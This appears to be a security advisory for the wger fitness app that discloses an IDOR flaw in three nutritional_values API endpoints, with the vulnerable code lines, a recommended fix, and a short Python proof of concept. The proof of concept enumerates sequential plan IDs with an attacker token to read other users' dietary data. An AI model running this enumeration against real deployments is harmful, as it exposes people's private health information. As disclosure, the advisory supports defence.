GHSA-g8gc-6c4h-jg86 wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup

• PyPI wger: <= 2.1 (no fix yet)

Summary Three `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK. Details DRF detail actions do not automatically apply queryset filtering — the action must call `self.get_object()` to enforce object-level permissions. These three endpoints skip that and go directly to the ORM: `wger/nutrition/api/views.py`: ```python line 301 — NutritionPlanViewSet plan = NutritionPlan.objects.get(pk=pk) # VULNERABLE — no user check line 356 — MealViewSet meal = Meal.objects.get(pk=pk) # VULNERABLE line 403 — MealItemViewSet meal_item = MealItem.objects.get(pk=pk) # VULNERABLE ``` The correct pattern used in the same file at `LogItemViewSet` (line 438): ```python LogItem.objects.get(pk=pk, plan__user=self.request.user) # CORRECT ``` Affected endpoints: ``` GET /api/v2/nutritionplan/{pk}/nutritional_values/ GET /api/v2/meal/{pk}/nutritional_values/ GET /api/v2/mealitem/{pk}/nutritional_values/ ``` PoC ```python import requests BASE = "http://localhost" Attacker's token (any registered user) headers = {"Authorization": "Token ATTACKER_TOKEN"} Read victim's nutrition plan — enumerate pk starting from 1 for pk in range(1, 100): r = requests.get( f"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/", headers=headers ) if r.status_code == 200: data = r.json() print(f"Plan {pk}: {data}") # Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar, # fat, fat_saturated, fiber, sodium ``` No interaction from the victim required. Registration is open by default. PKs are sequential integers. Impact Any authenticated user can read other users' private dietary and health data: • Daily caloric intake • Protein, carbohydrate, fat, fiber, and sodium intake • Full meal composition and ingredient quantities This data is sensitive health information users expect to be private. Fix: Replace direct ORM calls with `self.get_object()`, which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: `NutritionPlan.objects.get(pk=pk, user=self.request.user)`.